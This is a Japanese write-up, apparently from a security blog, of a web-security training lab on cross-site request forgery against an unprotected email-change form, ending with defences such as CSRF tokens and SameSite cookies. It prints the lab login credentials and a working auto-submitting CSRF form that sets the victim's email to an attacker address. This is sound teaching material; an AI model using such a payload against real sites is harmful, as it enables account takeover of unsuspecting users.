Shikata Ga Nai

Private? There is no such things.

LAB: CSRF脆弱性(防御なし)実践攻略

Hello there, ('ω')ノ

🎯 ラボの目的

このラボでは、CSRF防御が一切実装されていないメールアドレス変更機能を攻撃します。

目標は:

  • 攻撃用HTML(CSRF)を作成し
  • それをExploit Serverにアップロード
  • 「Deliver to victim」機能で被害者に攻撃を仕掛ける

✅ 攻略手順(Burp不要:Community EditionでもOK)


① ブラウザでアカウントにログイン

  • ユーザー名: wiener
  • パスワード: peter

② メールアドレス変更フォームを実行し、変更リクエストのURLを確認

  • アカウント設定画面でメールアドレスを更新してみる
  • リクエスト例:
POST /my-account/change-email HTTP/1.1
Host: <LAB-ID>.web-security-academy.net
...
email=your@email.com
  • Copy URLなどでPOST先のURLを確認

③ 攻撃用HTMLを作成

✅ サンプルテンプレート(※実験用アドレスは後で変更)

<form method="POST" action="https://<LAB-ID>.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="attacker%40evil-user.net">
</form>
<script>
    document.forms[0].submit();
</script>

%40@ のURLエンコード


④ Exploit Serverにアクセス → HTMLを貼り付けて保存

  • ラボ画面の「Go to exploit server」をクリック
  • Body欄に上記HTMLを貼り付け
  • 「Store」ボタンで保存

⑤ 攻撃動作を自分で確認(テスト)

  • 「View exploit」をクリック
  • 自分のメールが attacker@evil-user.net に変更されたか確認(ログイン中なら即実行される)

⑥ メールアドレスを自分のと重複しない別アドレスに修正

例:

<input type="hidden" name="email" value="victim%40evil-user.net">

⑦ 「Deliver to victim」ボタンをクリック

  • 被害者がこのページを開き、メールアドレスが勝手に書き換わる
  • ラボクリア!🎉

✅ このラボで学べること

ポイント 説明
CSRFはフォーム+JavaScriptだけで成立 XSSや難しい技術は不要
防御が一切なければ簡単にアカウントが改ざんされる メールアドレス変更は攻撃価値が高い
Burp Proなしでも手動でPoC作成可能 Community Editionでも練習可能

🛡️ 実務ではどう防ぐ?

対策 内容
CSRFトークンの導入 攻撃者が知らない一意のトークンを検証
SameSite Cookie属性の設定 外部ページからのリクエストを拒否
重要操作に再認証を要求 メール変更・送金などはパスワード入力を必須に

Best regards, (^^ゞ